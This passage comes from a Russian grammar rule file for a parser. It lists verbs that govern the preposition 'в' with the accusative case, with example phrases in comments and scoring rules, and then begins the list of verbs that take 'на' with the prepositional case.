реальность rus_verbs:воплощаться{}, // Мечты иногда воплощаются в реальность rus_verbs:ворваться{}, // Перемены неожиданно ворвались в размеренную жизнь rus_verbs:воспарить{}, // Душа воспарила в небо rus_verbs:воспарять{}, // Душа воспаряет в небо rus_verbs:врыть{}, // врыть опору в землю rus_verbs:врыться{}, // врыться в землю rus_verbs:всадить{}, // всадить пулю в сердце rus_verbs:всаживать{}, // всаживать нож в бок rus_verbs:всасывать{}, // всасывать воду в себя rus_verbs:всасываться{}, // всасываться в ёмкость rus_verbs:вселить{}, // вселить надежду в кого-либо rus_verbs:вселиться{}, // вселиться в пустующее здание rus_verbs:вселять{}, // вселять надежду в кого-то rus_verbs:вселяться{}, // вселяться в пустующее здание rus_verbs:вскидывать{}, // вскидывать руку в небо rus_verbs:вскинуть{}, // вскинуть руку в небо rus_verbs:вслушаться{}, // вслушаться в звуки rus_verbs:вслушиваться{}, // вслушиваться в шорох rus_verbs:всматриваться{}, // всматриваться в темноту rus_verbs:всмотреться{}, // всмотреться в темень rus_verbs:всовывать{}, // всовывать палец в отверстие rus_verbs:всовываться{}, // всовываться в форточку rus_verbs:всосать{}, // всосать жидкость в себя rus_verbs:всосаться{}, // всосаться в кожу rus_verbs:вставить{}, // вставить ключ в замок rus_verbs:вставлять{}, // вставлять ключ в замок rus_verbs:встраивать{}, // встраивать черный ход в систему защиты rus_verbs:встраиваться{}, // встраиваться в систему безопасности rus_verbs:встревать{}, // встревать в разговор rus_verbs:встроить{}, // встроить секретный модуль в систему безопасности rus_verbs:встроиться{}, // встроиться в систему безопасности rus_verbs:встрять{}, // встрять в разговор rus_verbs:вступать{}, // вступать в действующую армию rus_verbs:вступить{}, // вступить в действующую армию rus_verbs:всунуть{}, // всунуть палец в отверстие rus_verbs:всунуться{}, // всунуться в форточку инфинитив:всыпать{вид:соверш}, // всыпать порошок в контейнер инфинитив:всыпать{вид:несоверш}, глагол:всыпать{вид:соверш}, глагол:всыпать{вид:несоверш}, деепричастие:всыпав{}, деепричастие:всыпая{}, прилагательное:всыпавший{ вид:соверш }, // прилагательное:всыпавший{ вид:несоверш }, прилагательное:всыпанный{}, // прилагательное:всыпающий{}, инфинитив:всыпаться{ вид:несоверш}, // всыпаться в контейнер // инфинитив:всыпаться{ вид:соверш}, // глагол:всыпаться{ вид:соверш}, глагол:всыпаться{ вид:несоверш}, // деепричастие:всыпавшись{}, деепричастие:всыпаясь{}, // прилагательное:всыпавшийся{ вид:соверш }, // прилагательное:всыпавшийся{ вид:несоверш }, // прилагательное:всыпающийся{}, rus_verbs:вталкивать{}, // вталкивать деталь в ячейку rus_verbs:вталкиваться{}, // вталкиваться в ячейку rus_verbs:втаптывать{}, // втаптывать в грязь rus_verbs:втаптываться{}, // втаптываться в грязь rus_verbs:втаскивать{}, // втаскивать мешок в комнату rus_verbs:втаскиваться{}, // втаскиваться в комнату rus_verbs:втащить{}, // втащить мешок в комнату rus_verbs:втащиться{}, // втащиться в комнату rus_verbs:втекать{}, // втекать в бутылку rus_verbs:втемяшивать{}, // втемяшивать в голову rus_verbs:втемяшиваться{}, // втемяшиваться в голову rus_verbs:втемяшить{}, // втемяшить в голову rus_verbs:втемяшиться{}, // втемяшиться в голову rus_verbs:втереть{}, // втереть крем в кожу rus_verbs:втереться{}, // втереться в кожу rus_verbs:втесаться{}, // втесаться в группу rus_verbs:втесывать{}, // втесывать в группу rus_verbs:втесываться{}, // втесываться в группу rus_verbs:втечь{}, // втечь в бак rus_verbs:втирать{}, // втирать крем в кожу rus_verbs:втираться{}, // втираться в кожу rus_verbs:втискивать{}, // втискивать сумку в вагон rus_verbs:втискиваться{}, // втискиваться в переполненный вагон rus_verbs:втиснуть{}, // втиснуть сумку в вагон rus_verbs:втиснуться{}, // втиснуться в переполненный вагон метро rus_verbs:втолкать{}, // втолкать коляску в лифт rus_verbs:втолкаться{}, // втолкаться в вагон метро rus_verbs:втолкнуть{}, // втолкнуть коляску в лифт rus_verbs:втолкнуться{}, // втолкнуться в вагон метро rus_verbs:втолочь{}, // втолочь в смесь rus_verbs:втоптать{}, // втоптать цветы в землю rus_verbs:вторгаться{}, // вторгаться в чужую зону rus_verbs:вторгнуться{}, // вторгнуться в частную жизнь rus_verbs:втравить{}, // втравить кого-то в неприятности rus_verbs:втравливать{}, // втравливать кого-то в неприятности rus_verbs:втрамбовать{}, // втрамбовать камни в землю rus_verbs:втрамбовывать{}, // втрамбовывать камни в землю rus_verbs:втрамбовываться{}, // втрамбовываться в землю rus_verbs:втрескаться{}, // втрескаться в кого-то rus_verbs:втрескиваться{}, // втрескиваться в кого-либо rus_verbs:втыкать{}, // втыкать вилку в котлетку rus_verbs:втыкаться{}, // втыкаться в розетку rus_verbs:втюриваться{}, // втюриваться в кого-либо rus_verbs:втюриться{}, // втюриться в кого-либо rus_verbs:втягивать{}, // втягивать что-то в себя rus_verbs:втягиваться{}, // втягиваться в себя rus_verbs:втянуться{}, // втянуться в себя rus_verbs:вцементировать{}, // вцементировать сваю в фундамент rus_verbs:вчеканить{}, // вчеканить надпись в лист rus_verbs:вчитаться{}, // вчитаться внимательнее в текст rus_verbs:вчитываться{}, // вчитываться внимательнее в текст rus_verbs:вчувствоваться{}, // вчувствоваться в роль rus_verbs:вшагивать{}, // вшагивать в новую жизнь rus_verbs:вшагнуть{}, // вшагнуть в новую жизнь rus_verbs:вшивать{}, // вшивать заплату в рубашку rus_verbs:вшиваться{}, // вшиваться в ткань rus_verbs:вшить{}, // вшить заплату в ткань rus_verbs:въедаться{}, // въедаться в мякоть rus_verbs:въезжать{}, // въезжать в гараж rus_verbs:въехать{}, // въехать в гараж rus_verbs:выиграть{}, // Коля выиграл в шахматы rus_verbs:выигрывать{}, // Коля часто выигрывает у меня в шахматы rus_verbs:выкладывать{}, // выкладывать в общий доступ rus_verbs:выкладываться{}, // выкладываться в общий доступ rus_verbs:выкрасить{}, // выкрасить машину в розовый цвет rus_verbs:выкраситься{}, // выкраситься в дерзкий розовый цвет rus_verbs:выкрашивать{}, // выкрашивать волосы в красный цвет rus_verbs:выкрашиваться{}, // выкрашиваться в красный цвет rus_verbs:вылезать{}, // вылезать в открытое пространство rus_verbs:вылезти{}, // вылезти в открытое пространство rus_verbs:выливать{}, // выливать в бутылку rus_verbs:выливаться{}, // выливаться в ёмкость rus_verbs:вылить{}, // вылить отходы в канализацию rus_verbs:вылиться{}, // Топливо вылилось в воду rus_verbs:выложить{}, // выложить в общий доступ rus_verbs:выпадать{}, // выпадать в осадок rus_verbs:выпрыгивать{}, // выпрыгивать в окно rus_verbs:выпрыгнуть{}, // выпрыгнуть в окно rus_verbs:выродиться{}, // выродиться в жалкое подобие rus_verbs:вырождаться{}, // вырождаться в жалкое подобие славных предков rus_verbs:высеваться{}, // высеваться в землю rus_verbs:высеять{}, // высеять в землю rus_verbs:выслать{}, // выслать в страну постоянного пребывания rus_verbs:высморкаться{}, // высморкаться в платок rus_verbs:высморкнуться{}, // высморкнуться в платок rus_verbs:выстреливать{}, // выстреливать в цель rus_verbs:выстреливаться{}, // выстреливаться в цель rus_verbs:выстрелить{}, // выстрелить в цель rus_verbs:вытекать{}, // вытекать в озеро rus_verbs:вытечь{}, // вытечь в воду rus_verbs:смотреть{}, // смотреть в будущее rus_verbs:подняться{}, // подняться в лабораторию rus_verbs:послать{}, // послать в магазин rus_verbs:слать{}, // слать в неизвестность rus_verbs:добавить{}, // добавить в суп rus_verbs:пройти{}, // пройти в лабораторию rus_verbs:положить{}, // положить в ящик rus_verbs:прислать{}, // прислать в полицию rus_verbs:упасть{}, // упасть в пропасть инфинитив:писать{ aux stress="пис^ать" }, // писать в газету инфинитив:писать{ aux stress="п^исать" }, // писать в штанишки глагол:писать{ aux stress="п^исать" }, глагол:писать{ aux stress="пис^ать" }, деепричастие:писая{}, прилагательное:писавший{ aux stress="п^исавший" }, // писавший в штанишки прилагательное:писавший{ aux stress="пис^авший" }, // писавший в газету rus_verbs:собираться{}, // собираться в поход rus_verbs:звать{}, // звать в ресторан rus_verbs:направиться{}, // направиться в ресторан rus_verbs:отправиться{}, // отправиться в ресторан rus_verbs:поставить{}, // поставить в угол rus_verbs:целить{}, // целить в мишень rus_verbs:попасть{}, // попасть в переплет rus_verbs:ударить{}, // ударить в больное место rus_verbs:закричать{}, // закричать в микрофон rus_verbs:опустить{}, // опустить в воду rus_verbs:принести{}, // принести в дом бездомного щенка rus_verbs:отдать{}, // отдать в хорошие руки rus_verbs:ходить{}, // ходить в школу rus_verbs:уставиться{}, // уставиться в экран rus_verbs:приходить{}, // приходить в бешенство rus_verbs:махнуть{}, // махнуть в Италию rus_verbs:сунуть{}, // сунуть в замочную скважину rus_verbs:явиться{}, // явиться в расположение части rus_verbs:уехать{}, // уехать в город rus_verbs:целовать{}, // целовать в лобик rus_verbs:повести{}, // повести в бой rus_verbs:опуститься{}, // опуститься в кресло rus_verbs:передать{}, // передать в архив rus_verbs:побежать{}, // побежать в школу rus_verbs:стечь{}, // стечь в воду rus_verbs:уходить{}, // уходить добровольцем в армию rus_verbs:привести{}, // привести в дом rus_verbs:шагнуть{}, // шагнуть в неизвестность rus_verbs:собраться{}, // собраться в поход rus_verbs:заглянуть{}, // заглянуть в основу rus_verbs:поспешить{}, // поспешить в церковь rus_verbs:поцеловать{}, // поцеловать в лоб rus_verbs:перейти{}, // перейти в высшую лигу rus_verbs:поверить{}, // поверить в искренность rus_verbs:глянуть{}, // глянуть в оглавление rus_verbs:зайти{}, // зайти в кафетерий rus_verbs:подобрать{}, // подобрать в лесу rus_verbs:проходить{}, // проходить в помещение rus_verbs:глядеть{}, // глядеть в глаза rus_verbs:пригласить{}, // пригласить в театр rus_verbs:позвать{}, // позвать в класс rus_verbs:усесться{}, // усесться в кресло rus_verbs:поступить{}, // поступить в институт rus_verbs:лечь{}, // лечь в постель rus_verbs:поклониться{}, // поклониться в пояс rus_verbs:потянуться{}, // потянуться в лес rus_verbs:колоть{}, // колоть в ягодицу rus_verbs:присесть{}, // присесть в кресло rus_verbs:оглядеться{}, // оглядеться в зеркало rus_verbs:поглядеть{}, // поглядеть в зеркало rus_verbs:превратиться{}, // превратиться в лягушку rus_verbs:принимать{}, // принимать во внимание rus_verbs:звонить{}, // звонить в колокола rus_verbs:привезти{}, // привезти в гостиницу rus_verbs:рухнуть{}, // рухнуть в пропасть rus_verbs:пускать{}, // пускать в дело rus_verbs:отвести{}, // отвести в больницу rus_verbs:сойти{}, // сойти в ад rus_verbs:набрать{}, // набрать в команду rus_verbs:собрать{}, // собрать в кулак rus_verbs:двигаться{}, // двигаться в каюту rus_verbs:падать{}, // падать в область нуля rus_verbs:полезть{}, // полезть в драку rus_verbs:направить{}, // направить в стационар rus_verbs:приводить{}, // приводить в чувство rus_verbs:толкнуть{}, // толкнуть в бок rus_verbs:кинуться{}, // кинуться в драку rus_verbs:ткнуть{}, // ткнуть в глаз rus_verbs:заключить{}, // заключить в объятия rus_verbs:подниматься{}, // подниматься в небо rus_verbs:расти{}, // расти в глубину rus_verbs:налить{}, // налить в кружку rus_verbs:швырнуть{}, // швырнуть в бездну rus_verbs:прыгнуть{}, // прыгнуть в дверь rus_verbs:промолчать{}, // промолчать в тряпочку rus_verbs:садиться{}, // садиться в кресло rus_verbs:лить{}, // лить в кувшин rus_verbs:дослать{}, // дослать деталь в держатель rus_verbs:переслать{}, // переслать в обработчик rus_verbs:удалиться{}, // удалиться в совещательную комнату rus_verbs:разглядывать{}, // разглядывать в бинокль rus_verbs:повесить{}, // повесить в шкаф инфинитив:походить{ вид:соверш }, // походить в институт глагол:походить{ вид:соверш }, деепричастие:походив{}, // прилагательное:походивший{вид:соверш}, rus_verbs:помчаться{}, // помчаться в класс rus_verbs:свалиться{}, // свалиться в яму rus_verbs:сбежать{}, // сбежать в Англию rus_verbs:стрелять{}, // стрелять в цель rus_verbs:обращать{}, // обращать в свою веру rus_verbs:завести{}, // завести в дом rus_verbs:приобрести{}, // приобрести в рассрочку rus_verbs:сбросить{}, // сбросить в яму rus_verbs:устроиться{}, // устроиться в крупную корпорацию rus_verbs:погрузиться{}, // погрузиться в пучину rus_verbs:течь{}, // течь в канаву rus_verbs:произвести{}, // произвести в звание майора rus_verbs:метать{}, // метать в цель rus_verbs:пустить{}, // пустить в дело rus_verbs:полететь{}, // полететь в Европу rus_verbs:пропустить{}, // пропустить в здание rus_verbs:рвануть{}, // рвануть в отпуск rus_verbs:заходить{}, // заходить в каморку rus_verbs:нырнуть{}, // нырнуть в прорубь rus_verbs:рвануться{}, // рвануться в атаку rus_verbs:приподняться{}, // приподняться в воздух rus_verbs:превращаться{}, // превращаться в крупную величину rus_verbs:прокричать{}, // прокричать в ухо rus_verbs:записать{}, // записать в блокнот rus_verbs:забраться{}, // забраться в шкаф rus_verbs:приезжать{}, // приезжать в деревню rus_verbs:продать{}, // продать в рабство rus_verbs:проникнуть{}, // проникнуть в центр rus_verbs:устремиться{}, // устремиться в открытое море rus_verbs:посадить{}, // посадить в кресло rus_verbs:упереться{}, // упереться в пол rus_verbs:ринуться{}, // ринуться в буфет rus_verbs:отдавать{}, // отдавать в кадетское училище rus_verbs:отложить{}, // отложить в долгий ящик rus_verbs:убежать{}, // убежать в приют rus_verbs:оценить{}, // оценить в миллион долларов rus_verbs:поднимать{}, // поднимать в стратосферу rus_verbs:отослать{}, // отослать в квалификационную комиссию rus_verbs:отодвинуть{}, // отодвинуть в дальний угол rus_verbs:торопиться{}, // торопиться в школу rus_verbs:попадаться{}, // попадаться в руки rus_verbs:поразить{}, // поразить в самое сердце rus_verbs:доставить{}, // доставить в квартиру rus_verbs:заслать{}, // заслать в тыл rus_verbs:сослать{}, // сослать в изгнание rus_verbs:запустить{}, // запустить в космос rus_verbs:удариться{}, // удариться в запой rus_verbs:ударяться{}, // ударяться в крайность rus_verbs:шептать{}, // шептать в лицо rus_verbs:уронить{}, // уронить в унитаз rus_verbs:прорычать{}, // прорычать в микрофон rus_verbs:засунуть{}, // засунуть в глотку rus_verbs:плыть{}, // плыть в открытое море rus_verbs:перенести{}, // перенести в духовку rus_verbs:светить{}, // светить в лицо rus_verbs:мчаться{}, // мчаться в ремонт rus_verbs:стукнуть{}, // стукнуть в лоб rus_verbs:обрушиться{}, // обрушиться в котлован rus_verbs:поглядывать{}, // поглядывать в экран rus_verbs:уложить{}, // уложить в кроватку инфинитив:попадать{ вид:несоверш }, // попадать в черный список глагол:попадать{ вид:несоверш }, прилагательное:попадающий{ вид:несоверш }, прилагательное:попадавший{ вид:несоверш }, деепричастие:попадая{}, rus_verbs:провалиться{}, // провалиться в яму rus_verbs:жаловаться{}, // жаловаться в комиссию rus_verbs:опоздать{}, // опоздать в школу rus_verbs:посылать{}, // посылать в парикмахерскую rus_verbs:погнать{}, // погнать в хлев rus_verbs:поступать{}, // поступать в институт rus_verbs:усадить{}, // усадить в кресло rus_verbs:проиграть{}, // проиграть в рулетку rus_verbs:прилететь{}, // прилететь в страну rus_verbs:повалиться{}, // повалиться в траву rus_verbs:огрызнуться{}, // Собака огрызнулась в ответ rus_verbs:лезть{}, // лезть в чужие дела rus_verbs:потащить{}, // потащить в суд rus_verbs:направляться{}, // направляться в порт rus_verbs:поползти{}, // поползти в другую сторону rus_verbs:пуститься{}, // пуститься в пляс rus_verbs:забиться{}, // забиться в нору rus_verbs:залезть{}, // залезть в конуру rus_verbs:сдать{}, // сдать в утиль rus_verbs:тронуться{}, // тронуться в путь rus_verbs:сыграть{}, // сыграть в шахматы rus_verbs:перевернуть{}, // перевернуть в более удобную позу rus_verbs:сжимать{}, // сжимать пальцы в кулак rus_verbs:подтолкнуть{}, // подтолкнуть в бок rus_verbs:отнести{}, // отнести животное в лечебницу rus_verbs:одеться{}, // одеться в зимнюю одежду rus_verbs:плюнуть{}, // плюнуть в колодец rus_verbs:передавать{}, // передавать в прокуратуру rus_verbs:отскочить{}, // отскочить в лоб rus_verbs:призвать{}, // призвать в армию rus_verbs:увезти{}, // увезти в деревню rus_verbs:улечься{}, // улечься в кроватку rus_verbs:отшатнуться{}, // отшатнуться в сторону rus_verbs:ложиться{}, // ложиться в постель rus_verbs:пролететь{}, // пролететь в конец rus_verbs:класть{}, // класть в сейф rus_verbs:доставлять{}, // доставлять в кабинет rus_verbs:приобретать{}, // приобретать в кредит rus_verbs:сводить{}, // сводить в театр rus_verbs:унести{}, // унести в могилу rus_verbs:покатиться{}, // покатиться в яму rus_verbs:сходить{}, // сходить в магазинчик rus_verbs:спустить{}, // спустить в канализацию rus_verbs:проникать{}, // проникать в сердцевину rus_verbs:метнуть{}, // метнуть в болвана гневный взгляд rus_verbs:пожаловаться{}, // пожаловаться в администрацию rus_verbs:стучать{}, // стучать в металлическую дверь rus_verbs:тащить{}, // тащить в ремонт rus_verbs:заглядывать{}, // заглядывать в ответы rus_verbs:плюхнуться{}, // плюхнуться в стол ароматного сена rus_verbs:увести{}, // увести в следующий кабинет rus_verbs:успевать{}, // успевать в школу rus_verbs:пробраться{}, // пробраться в собачью конуру rus_verbs:подавать{}, // подавать в суд rus_verbs:прибежать{}, // прибежать в конюшню rus_verbs:рассмотреть{}, // рассмотреть в микроскоп rus_verbs:пнуть{}, // пнуть в живот rus_verbs:завернуть{}, // завернуть в декоративную пленку rus_verbs:уезжать{}, // уезжать в деревню rus_verbs:привлекать{}, // привлекать в свои ряды rus_verbs:перебраться{}, // перебраться в прибрежный город rus_verbs:долить{}, // долить в коктейль rus_verbs:палить{}, // палить в нападающих rus_verbs:отобрать{}, // отобрать в коллекцию rus_verbs:улететь{}, // улететь в неизвестность rus_verbs:выглянуть{}, // выглянуть в окно rus_verbs:выглядывать{}, // выглядывать в окно rus_verbs:пробираться{}, // грабитель, пробирающийся в дом инфинитив:написать{ aux stress="напис^ать"}, // читатель, написавший в блог глагол:написать{ aux stress="напис^ать"}, прилагательное:написавший{ aux stress="напис^авший"}, rus_verbs:свернуть{}, // свернуть в колечко инфинитив:сползать{ вид:несоверш }, // сползать в овраг глагол:сползать{ вид:несоверш }, прилагательное:сползающий{ вид:несоверш }, прилагательное:сползавший{ вид:несоверш }, rus_verbs:барабанить{}, // барабанить в дверь rus_verbs:дописывать{}, // дописывать в конец rus_verbs:меняться{}, // меняться в лучшую сторону rus_verbs:измениться{}, // измениться в лучшую сторону rus_verbs:изменяться{}, // изменяться в лучшую сторону rus_verbs:вписаться{}, // вписаться в поворот rus_verbs:вписываться{}, // вписываться в повороты rus_verbs:переработать{}, // переработать в удобрение rus_verbs:перерабатывать{}, // перерабатывать в удобрение rus_verbs:уползать{}, // уползать в тень rus_verbs:заползать{}, // заползать в нору rus_verbs:перепрятать{}, // перепрятать в укромное место rus_verbs:заталкивать{}, // заталкивать в вагон rus_verbs:преобразовывать{}, // преобразовывать в список инфинитив:конвертировать{ вид:несоверш }, // конвертировать в список глагол:конвертировать{ вид:несоверш }, инфинитив:конвертировать{ вид:соверш }, глагол:конвертировать{ вид:соверш }, деепричастие:конвертировав{}, деепричастие:конвертируя{}, rus_verbs:изорвать{}, // Он изорвал газету в клочки. rus_verbs:выходить{}, // Окна выходят в сад. rus_verbs:говорить{}, // Он говорил в защиту своего отца. rus_verbs:вырастать{}, // Он вырастает в большого художника. rus_verbs:вывести{}, // Он вывел детей в сад. // инфинитив:всыпать{ вид:соверш }, инфинитив:всыпать{ вид:несоверш }, // глагол:всыпать{ вид:соверш }, глагол:всыпать{ вид:несоверш }, // Он всыпал в воду две ложки соли. // прилагательное:раненый{}, // Он был ранен в левую руку. // прилагательное:одетый{}, // Он был одет в толстое осеннее пальто. rus_verbs:бухнуться{}, // Он бухнулся в воду. rus_verbs:склонять{}, // склонять защиту в свою пользу rus_verbs:впиться{}, // Пиявка впилась в тело. rus_verbs:сходиться{}, // Интеллигенты начала века часто сходились в разные союзы rus_verbs:сохранять{}, // сохранить данные в файл rus_verbs:собирать{}, // собирать игрушки в ящик rus_verbs:упаковывать{}, // упаковывать вещи в чемодан rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время rus_verbs:стрельнуть{}, // стрельни в толпу! rus_verbs:пулять{}, // пуляй в толпу rus_verbs:пульнуть{}, // пульни в толпу rus_verbs:становиться{}, // Становитесь в очередь. rus_verbs:вписать{}, // Юля вписала свое имя в список. rus_verbs:вписывать{}, // Мы вписывали свои имена в список прилагательное:видный{}, // Планета Марс видна в обычный бинокль rus_verbs:пойти{}, // Девочка рано пошла в школу rus_verbs:отойти{}, // Эти обычаи отошли в историю. rus_verbs:бить{}, // Холодный ветер бил ему в лицо. rus_verbs:входить{}, // Это входит в его обязанности. rus_verbs:принять{}, // меня приняли в пионеры rus_verbs:уйти{}, // Правительство РФ ушло в отставку rus_verbs:допустить{}, // Япония была допущена в Организацию Объединённых Наций в 1956 году. rus_verbs:посвятить{}, // Я посвятил друга в свою тайну. инфинитив:экспортировать{ вид:несоверш }, глагол:экспортировать{ вид:несоверш }, // экспортировать нефть в страны Востока rus_verbs:взглянуть{}, // Я не смел взглянуть ему в глаза. rus_verbs:идти{}, // Я иду гулять в парк. rus_verbs:вскочить{}, // Я вскочил в трамвай и помчался в институт. rus_verbs:получить{}, // Эту мебель мы получили в наследство от родителей. rus_verbs:везти{}, // Учитель везёт детей в лагерь. rus_verbs:качать{}, // Судно качает во все стороны. rus_verbs:заезжать{}, // Сегодня вечером я заезжал в магазин за книгами. rus_verbs:связать{}, // Свяжите свои вещи в узелок. rus_verbs:пронести{}, // Пронесите стол в дверь. rus_verbs:вынести{}, // Надо вынести примечания в конец. rus_verbs:устроить{}, // Она устроила сына в школу. rus_verbs:угодить{}, // Она угодила головой в дверь. rus_verbs:отвернуться{}, // Она резко отвернулась в сторону. rus_verbs:рассматривать{}, // Она рассматривала сцену в бинокль. rus_verbs:обратить{}, // Война обратила город в развалины. rus_verbs:сойтись{}, // Мы сошлись в школьные годы. rus_verbs:приехать{}, // Мы приехали в положенный час. rus_verbs:встать{}, // Дети встали в круг. rus_verbs:впасть{}, // Из-за болезни он впал в нужду. rus_verbs:придти{}, // придти в упадок rus_verbs:заявить{}, // Надо заявить в милицию о краже. rus_verbs:заявлять{}, // заявлять в полицию rus_verbs:ехать{}, // Мы будем ехать в Орёл rus_verbs:окрашиваться{}, // окрашиваться в красный цвет rus_verbs:решить{}, // Дело решено в пользу истца. rus_verbs:сесть{}, // Она села в кресло rus_verbs:посмотреть{}, // Она посмотрела на себя в зеркало. rus_verbs:влезать{}, // он влезает в мою квартирку rus_verbs:попасться{}, // в мою ловушку попалась мышь rus_verbs:лететь{}, // Мы летим в Орёл ГЛ_ИНФ(брать), // он берет в свою правую руку очень тяжелый шершавый камень ГЛ_ИНФ(взять), // Коля взял в руку камень ГЛ_ИНФ(поехать), // поехать в круиз ГЛ_ИНФ(подать), // подать в отставку инфинитив:засыпать{ вид:соверш }, глагол:засыпать{ вид:соверш }, // засыпать песок в ящик инфинитив:засыпать{ вид:несоверш переходность:переходный }, глагол:засыпать{ вид:несоверш переходность:переходный }, // засыпать песок в ящик ГЛ_ИНФ(впадать), прилагательное:впадающий{}, прилагательное:впадавший{}, деепричастие:впадая{}, // впадать в море ГЛ_ИНФ(постучать) // постучать в дверь } // Чтобы разрешить связывание в паттернах типа: уйти в BEA Systems fact гл_предл { if context { Гл_В_Вин предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_В_Вин предлог:в{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { глагол:подвывать{} предлог:в{} существительное:такт{ падеж:вин } } then return true } #endregion Винительный // Все остальные варианты по умолчанию запрещаем. fact гл_предл { if context { * предлог:в{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:в{} *:*{ падеж:мест } } then return false,-3 } fact гл_предл { if context { * предлог:в{} *:*{ падеж:вин } } then return false,-4 } fact гл_предл { if context { * предлог:в{} * } then return false,-5 } #endregion Предлог_В #region Предлог_НА // ------------------- С ПРЕДЛОГОМ 'НА' --------------------------- #region ПРЕДЛОЖНЫЙ // НА+предложный падеж: // ЛЕЖАТЬ НА СТОЛЕ #region VerbList wordentry_set Гл_НА_Предл= { rus_verbs:заслушать{}, // Вопрос заслушали на сессии облсовета rus_verbs:ПРОСТУПАТЬ{}, // На лбу, носу и щеке проступало черное пятно кровоподтека. (ПРОСТУПАТЬ/ПРОСТУПИТЬ) rus_verbs:ПРОСТУПИТЬ{}, // rus_verbs:ВИДНЕТЬСЯ{}, // На другой стороне Океана виднелась полоска суши, окружавшая нижний ярус планеты. (ВИДНЕТЬСЯ) rus_verbs:ЗАВИСАТЬ{}, // Машина умела зависать в воздухе на любой высоте (ЗАВИСАТЬ) rus_verbs:ЗАМЕРЕТЬ{}, // Скользнув по траве, он замер на боку (ЗАМЕРЕТЬ, локатив) rus_verbs:ЗАМИРАТЬ{}, // rus_verbs:ЗАКРЕПИТЬ{}, // Он вручил ей лишний кинжал, который она воткнула в рубаху и закрепила на подоле. (ЗАКРЕПИТЬ) rus_verbs:УПОЛЗТИ{}, // Зверь завизжал и попытался уползти на двух невредимых передних ногах. (УПОЛЗТИ/УПОЛЗАТЬ) rus_verbs:УПОЛЗАТЬ{}, // rus_verbs:БОЛТАТЬСЯ{}, // Тело его будет болтаться на пространственных ветрах, пока не сгниет веревка. (БОЛТАТЬСЯ) rus_verbs:РАЗВЕРНУТЬ{}, // Филиппины разрешат США развернуть военные базы на своей территории (РАЗВЕРНУТЬ) rus_verbs:ПОЛУЧИТЬ{}, // Я пытался узнать секреты и получить советы на официальном русскоязычном форуме (ПОЛУЧИТЬ) rus_verbs:ЗАСИЯТЬ{}, // Он активировал управление, и на экране снова засияло изображение полумесяца. (ЗАСИЯТЬ) rus_verbs:ВЗОРВАТЬСЯ{}, // Смертник взорвался на предвыборном митинге в Пакистане (ВЗОРВАТЬСЯ) rus_verbs:искриться{}, rus_verbs:ОДЕРЖИВАТЬ{}, // На выборах в иранский парламент победу одерживают противники действующего президента (ОДЕРЖИВАТЬ) rus_verbs:ПРЕСЕЧЬ{}, // На Украине пресекли дерзкий побег заключенных на вертолете (ПРЕСЕЧЬ) rus_verbs:УЛЕТЕТЬ{}, // Голый норвежец улетел на лыжах с трамплина на 60 метров (УЛЕТЕТЬ) rus_verbs:ПРОХОДИТЬ{}, // укрывающийся в лесу американский подросток проходил инициацию на охоте, выпив кружку крови первого убитого им оленя (ПРОХОДИТЬ) rus_verbs:СУЩЕСТВОВАТЬ{}, // На Марсе существовали условия для жизни (СУЩЕСТВОВАТЬ) rus_verbs:УКАЗАТЬ{}, // Победу в Лиге чемпионов укажут на часах (УКАЗАТЬ) rus_verbs:отвести{}, // отвести душу на людях rus_verbs:сходиться{}, // Оба профессора сходились на том, что в черепной коробке динозавра rus_verbs:сойтись{}, rus_verbs:ОБНАРУЖИТЬ{}, // Доказательство наличия подповерхностного океана на Европе обнаружено на её поверхности (ОБНАРУЖИТЬ) rus_verbs:НАБЛЮДАТЬСЯ{}, // Редкий зодиакальный свет вскоре будет наблюдаться на ночном небе (НАБЛЮДАТЬСЯ) rus_verbs:ДОСТИГНУТЬ{}, // На всех аварийных реакторах достигнуто состояние так называемой холодной остановки (ДОСТИГНУТЬ/ДОСТИЧЬ) глагол:ДОСТИЧЬ{}, инфинитив:ДОСТИЧЬ{}, rus_verbs:завершить{}, // Российские биатлонисты завершили чемпионат мира на мажорной ноте rus_verbs:РАСКЛАДЫВАТЬ{}, rus_verbs:ФОКУСИРОВАТЬСЯ{}, // Инвесторы предпочитают фокусироваться на среднесрочных ожиданиях (ФОКУСИРОВАТЬСЯ) rus_verbs:ВОСПРИНИМАТЬ{}, // как несерьезно воспринимали его на выборах мэра (ВОСПРИНИМАТЬ) rus_verbs:БУШЕВАТЬ{}, // на территории Тверской области бушевала гроза , в результате которой произошло отключение электроснабжения в ряде муниципальных образований региона (БУШЕВАТЬ) rus_verbs:УЧАСТИТЬСЯ{}, // В последние месяцы в зоне ответственности бундесвера на севере Афганистана участились случаи обстрелов полевых лагерей немецких миротворцев (УЧАСТИТЬСЯ) rus_verbs:ВЫИГРАТЬ{}, // Почему женская сборная России не может выиграть медаль на чемпионате мира (ВЫИГРАТЬ) rus_verbs:ПРОПАСТЬ{}, // Пропавшим на прогулке актером заинтересовались следователи (ПРОПАСТЬ) rus_verbs:УБИТЬ{}, // Силовики убили двух боевиков на административной границе Ингушетии и Чечни (УБИТЬ) rus_verbs:подпрыгнуть{}, // кобель нелепо подпрыгнул на трех ногах , а его хозяин отправил струю пива мимо рта rus_verbs:подпрыгивать{}, rus_verbs:высветиться{}, // на компьютере высветится твоя подпись rus_verbs:фигурировать{}, // его портрет фигурирует на страницах печати и телеэкранах rus_verbs:действовать{}, // выявленный контрабандный канал действовал на постоянной основе rus_verbs:СОХРАНИТЬСЯ{}, // На рынке международных сделок IPO сохранится высокая активность (СОХРАНИТЬСЯ НА) rus_verbs:ПРОЙТИ{}, // Необычный конкурс прошёл на севере Швеции (ПРОЙТИ НА предл) rus_verbs:НАЧАТЬСЯ{}, // На северо-востоке США началась сильная снежная буря. (НАЧАТЬСЯ НА предл) rus_verbs:ВОЗНИКНУТЬ{}, // Конфликт возник на почве совместной коммерческой деятельности по выращиванию овощей и зелени (ВОЗНИКНУТЬ НА) rus_verbs:СВЕТИТЬСЯ{}, // она по-прежнему светится на лицах людей (СВЕТИТЬСЯ НА предл) rus_verbs:ОРГАНИЗОВАТЬ{}, // Власти Москвы намерены организовать масленичные гуляния на 100 площадках (ОРГАНИЗОВАТЬ НА предл) rus_verbs:ИМЕТЬ{}, // Имея власть на низовом уровне, оказывать самое непосредственное и определяющее влияние на верховную власть (ИМЕТЬ НА предл) rus_verbs:ОПРОБОВАТЬ{}, // Опробовать и отточить этот инструмент на местных и региональных выборах 